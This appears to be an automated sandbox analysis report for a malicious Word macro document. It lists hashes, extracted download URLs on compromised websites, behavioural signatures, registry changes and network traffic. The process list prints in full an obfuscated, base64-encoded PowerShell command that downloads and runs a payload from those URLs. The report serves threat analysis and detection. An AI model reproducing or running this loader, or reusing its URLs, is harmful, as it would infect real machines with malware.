Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
27/09/2024, 03:57 UTC
Static task
static1
Behavioral task
behavioral1
Sample
f9aa43fd07fd831aa3938317df777884_JaffaCakes118.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
f9aa43fd07fd831aa3938317df777884_JaffaCakes118.doc
Resource
win10v2004-20240802-en
General
-
Target
f9aa43fd07fd831aa3938317df777884_JaffaCakes118.doc
-
Size
143KB
-
MD5
f9aa43fd07fd831aa3938317df777884
-
SHA1
ca3c9f652bfb945bdf94f2b4de46cce5b3eb3ed3
-
SHA256
5f1ea173886baa8208a164cab30480d8362327401dc4782d01aa1caeb3314b9d
-
SHA512
fde6615e11e8ab41da18ee1fabdcd29ae4597c4355455c109ed220c0dae177af0b6ec620161c408b9c9b1328ebf8411b85543f81a2409abe484387ab8d44aed3
-
SSDEEP
1536:ALRD3bNqfNpu39IId5a6XP3Mg8afCqaIoF3Cgar3Pd0MZXiNjLooT:8R1qf69xak3MgxCCoMFr3Pd0MZXiNPvT
Malware Config
Extracted
https://shop.mtcss.co.uk/wp-admin/USQFPj/
https://handfinger.com/wp-includes/iCY/
http://hanulmotors.com/nbqso/8Tz/
http://helpinghands4needy.org/wp-content/LgrI9g/
http://www.ecobaratocanaria.com/wordpress/Jt/
http://macerindia.com/wp-content/hRS/
http://cfn.tvstartup.com/wp-content/7dNH1LI/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2344 2392 POwersheLL.exe 28 -
Blocklisted process makes network request 8 IoCs
flow pid Process 5 2344 POwersheLL.exe 6 2344 POwersheLL.exe 8 2344 POwersheLL.exe 9 2344 POwersheLL.exe 11 2344 POwersheLL.exe 13 2344 POwersheLL.exe 16 2344 POwersheLL.exe 18 2344 POwersheLL.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\TypeLib\{B5D98011-9CF1-4D5F-B02D-07A2896F9683}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2276 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2344 POwersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2344 POwersheLL.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2276 WINWORD.EXE 2276 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2276 wrote to memory of 2292 2276 WINWORD.EXE 34 PID 2276 wrote to memory of 2292 2276 WINWORD.EXE 34 PID 2276 wrote to memory of 2292 2276 WINWORD.EXE 34 PID 2276 wrote to memory of 2292 2276 WINWORD.EXE 34
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f9aa43fd07fd831aa3938317df777884_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2276 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2292
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABBAHEAMwBxAGkAOABqAD0AKAAnAE4AJwArACgAJwBlACcAKwAnAHgAaABoACcAKQArACcAbQA1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAUgBwAHIAbwBGAGkAbABFAFwAWgBxAHgANAAxAHIAUABcAE8AbgBGAG8ARwBhADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAYABSAEkAdAB5AHAAUgBgAE8AYABUAG8AQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAnACsAJwAxADIALAAgAHQAbABzADEAJwApACsAJwAxACwAJwArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAEoAOQBnAF8AYQBkAGsAIAA9ACAAKAAnAEUAMAAnACsAKAAnAGoAbgAnACsAJwB3ACcAKQArACcAeQAzACcAKQA7ACQASgB6AGcANABfADAAXwA9ACgAJwBCAG4AJwArACgAJwBfAHYAbAA2ACcAKwAnAGgAJwApACkAOwAkAE0ANQAwADMAZgBlAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcARQBZACcAKwAnAEIAJwArACgAJwBaAHEAeAAnACsAJwA0ADEAcgAnACsAJwBwACcAKQArACgAJwBFAFkAJwArACcAQgBPAG4AZgBvAGcAJwArACcAYQA4ACcAKwAnAEUAWQAnACkAKwAnAEIAJwApAC4AIgBSAGAAZQBQAEwAYQBjAGUAIgAoACgAJwBFACcAKwAnAFkAQgAnACkALAAnAFwAJwApACkAKwAkAEoAOQBnAF8AYQBkAGsAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABFAHEAawB2ADUAaQBjAD0AKAAoACcATgAzACcAKwAnAGoAJwApACsAKAAnAGgAMgB0ACcAKwAnAGcAJwApACkAOwAkAEIAcgA5AGkAagBoAHkAPQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAYwBsAEkAZQBOAHQAOwAkAEkANgBrAGEAZgBuAGwAPQAoACcAaAB0ACcAKwAnAHQAJwArACgAJwBwACcAKwAnAHMAOgAnACsAJwAvAC8AcwAnACsAJwBoAG8AcAAuAG0AdABjAHMAcwAuAGMAbwAnACsAJwAuACcAKQArACcAdQAnACsAKAAnAGsALwAnACsAJwB3ACcAKQArACgAJwBwAC0AYQBkACcAKwAnAG0AJwArACcAaQBuAC8AVQBTACcAKwAnAFEARgAnACkAKwAnAFAAagAnACsAKAAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcABzADoALwAnACsAJwAvAGgAJwApACsAKAAnAGEAbgBkAGYAJwArACcAaQAnACkAKwAoACcAbgBnAGUAcgAuACcAKwAnAGMAJwApACsAJwBvACcAKwAnAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGkAJwArACcAbgBjAGwAJwApACsAKAAnAHUAJwArACcAZABlAHMALwBpAEMAJwArACcAWQAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvACcAKwAnAC8AaABhAG4AdQAnACkAKwAnAGwAJwArACgAJwBtAG8AJwArACcAdABvAHIAJwApACsAJwBzACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAG4AYgBxACcAKwAnAHMAJwApACsAKAAnAG8ALwA4ACcAKwAnAFQAJwApACsAKAAnAHoAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvAGgAZQAnACkAKwAoACcAbABwAGkAJwArACcAbgBnAGgAYQBuAGQAJwArACcAcwA0AG4AJwArACcAZQBlACcAKwAnAGQAJwApACsAKAAnAHkALgBvACcAKwAnAHIAZwAnACkAKwAoACcALwB3ACcAKwAnAHAALQBjAG8AbgAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAnACkAKwAoACcALwBMAGcAcgAnACsAJwBJADkAJwArACcAZwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAdwAnACkAKwAoACcAdwB3AC4AJwArACcAZQBjAG8AJwArACcAYgBhAHIAYQB0AG8AJwArACcAYwBhAG4AYQByAGkAJwArACcAYQAuAGMAbwBtACcAKQArACcALwAnACsAJwB3AG8AJwArACcAcgBkACcAKwAoACcAcAAnACsAJwByAGUAcwBzAC8AJwApACsAKAAnAEoAdAAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAG0AYQAnACsAJwBjAGUAcgBpAG4AJwApACsAJwBkACcAKwAnAGkAYQAnACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAALQBjAG8AbgAnACsAJwB0AGUAbgB0ACcAKQArACcALwAnACsAJwBoACcAKwAnAFIAJwArACgAJwBTAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBjAGYAJwArACcAbgAuACcAKQArACgAJwB0AHYAcwAnACsAJwB0AGEAcgB0ACcAKwAnAHUAcAAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQBjAG8AbgB0ACcAKwAnAGUAbgB0AC8ANwAnACsAJwBkAE4ASAAxAEwAJwArACcASQAvACcAKQApAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAMgBjAHQAMQBxAGkAPQAoACgAJwBFAGsAJwArACcAZwA1ACcAKQArACgAJwBtAGoAJwArACcAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcQBuAGoANABqAHIAIABpAG4AIAAkAEkANgBrAGEAZgBuAGwAKQB7AHQAcgB5AHsAJABCAHIAOQBpAGoAaAB5AC4AIgBEAE8AYAB3AG4ATABvAGAAQQBEAGYAaQBgAGwARQAiACgAJABNAHEAbgBqADQAagByACwAIAAkAE0ANQAwADMAZgBlAG0AKQA7ACQAVABoAGcAZwBvAGgAaAA9ACgAJwBRACcAKwAoACcAOQBrAGgAJwArACcAMQAzACcAKQArACcAdwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQA1ADAAMwBmAGUAbQApAC4AIgBsAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAMAAyADMANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABNADUAMAAzAGYAZQBtACkAOwAkAFEAOAB2ADQAeQBuADIAPQAoACgAJwBUAHAAdABjACcAKwAnAGkAJwApACsAJwA4AGoAJwApADsAYgByAGUAYQBrADsAJABZAHEAdQBtAGEAMAByAD0AKAAnAFgANwAnACsAKAAnADQAJwArACcAZwBhADYAJwApACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB5AHoAbQByAHQAZAA9ACgAJwBMACcAKwAoACcAMAB4ACcAKwAnADMAeQBkACcAKwAnAHAAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344
Network
-
Remote address:8.8.8.8:53Requestshop.mtcss.co.ukIN AResponseshop.mtcss.co.ukIN A165.84.218.143
-
Remote address:8.8.8.8:53Requesthandfinger.comIN AResponsehandfinger.comIN A108.61.87.182
-
Remote address:8.8.8.8:53Requesthanulmotors.comIN AResponsehanulmotors.comIN A107.178.223.183hanulmotors.comIN A104.155.138.21
-
Remote address:107.178.223.183:80RequestGET /nbqso/8Tz/ HTTP/1.1
Host: hanulmotors.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
-
Remote address:8.8.8.8:53Requesthelpinghands4needy.orgIN AResponsehelpinghands4needy.orgIN A62.72.28.183
-
Remote address:62.72.28.183:80RequestGET /wp-content/LgrI9g/ HTTP/1.1
Host: helpinghands4needy.org
Connection: Keep-Alive
ResponseHTTP/1.1 404 Not Found
Keep-Alive: timeout=5, max=100
content-type: text/html
last-modified: Mon, 11 Sep 2023 19:30:30 GMT
etag: "999-64ff6ad6-58be6882cd98db7a;;;"
accept-ranges: bytes
content-length: 2457
date: Fri, 27 Sep 2024 03:57:36 GMT
server: LiteSpeed
platform: hostinger
panel: hpanel
-
Remote address:8.8.8.8:53Requestwww.ecobaratocanaria.comIN AResponse
-
Remote address:8.8.8.8:53Requestmacerindia.comIN AResponsemacerindia.comIN A104.21.51.108macerindia.comIN A172.67.179.125
-
Remote address:104.21.51.108:80RequestGET /wp-content/hRS/ HTTP/1.1
Host: macerindia.com
Connection: Keep-Alive
ResponseHTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-UA-Compatible: IE=edge
Link: <http://macerindia.com/wp-json/>; rel="https://api.w.org/"
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rgsg1cuaBm4WkF%2BKZvBmMIfwV7jvr0I%2BC7%2BxOB0hB%2B8YkkgH9zQZPkgF9ldXvCsGZQ2Y7IBADarnyTF07vD2cwuib36LDSX6RggA%2BWO1kHVYHr9Vjv5PX%2BLpk%2BY0kwY3Lw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Speculation-Rules: "/cdn-cgi/speculation"
Server: cloudflare
CF-RAY: 8c98920e3c997765-LHR
-
Remote address:8.8.8.8:53Requestcfn.tvstartup.comIN AResponsecfn.tvstartup.comIN A38.86.32.67
-
Remote address:38.86.32.67:80RequestGET /wp-content/7dNH1LI/ HTTP/1.1
Host: cfn.tvstartup.com
Connection: Keep-Alive
ResponseHTTP/1.1 503 Service Unavailable
Server: Apache
Retry-After: 600
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-
350 B 219 B 5 5
-
350 B 219 B 5 5
-
348 B 219 B 5 5
-
348 B 219 B 5 5
-
351 B 250 B 6 5
HTTP Request
GET http://hanulmotors.com/nbqso/8Tz/HTTP Response
200 -
366 B 3.0kB 6 5
HTTP Request
GET http://helpinghands4needy.org/wp-content/LgrI9g/HTTP Response
404 -
1.3kB 53.3kB 27 46
HTTP Request
GET http://macerindia.com/wp-content/hRS/HTTP Response
404 -
362 B 2.3kB 6 7
HTTP Request
GET http://cfn.tvstartup.com/wp-content/7dNH1LI/HTTP Response
503
-
62 B 78 B 1 1
DNS Request
shop.mtcss.co.uk
DNS Response
165.84.218.143
-
60 B 76 B 1 1
DNS Request
handfinger.com
DNS Response
108.61.87.182
-
61 B 93 B 1 1
DNS Request
hanulmotors.com
DNS Response
107.178.223.183104.155.138.21
-
68 B 84 B 1 1
DNS Request
helpinghands4needy.org
DNS Response
62.72.28.183
-
70 B 143 B 1 1
DNS Request
www.ecobaratocanaria.com
-
60 B 92 B 1 1
DNS Request
macerindia.com
DNS Response
104.21.51.108172.67.179.125
-
63 B 79 B 1 1
DNS Request
cfn.tvstartup.com
DNS Response
38.86.32.67
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5b9b3b2336082afbf88a52b33d8e0715c
SHA19af482baa7eae6764664794d12eafd04dc68ba1e
SHA2562ebbaa16a14690be371c40f98c3b0e93ce7dad747191e1bb4a5a04d64b764300
SHA512ac6e39a42e3490d692deaccc52f0d228a158f0227a3d3c5af3d46ee710f6268cfe662189994ab5fe102c5e3135d147ddf7a8f647532798f263b0730e61cd243b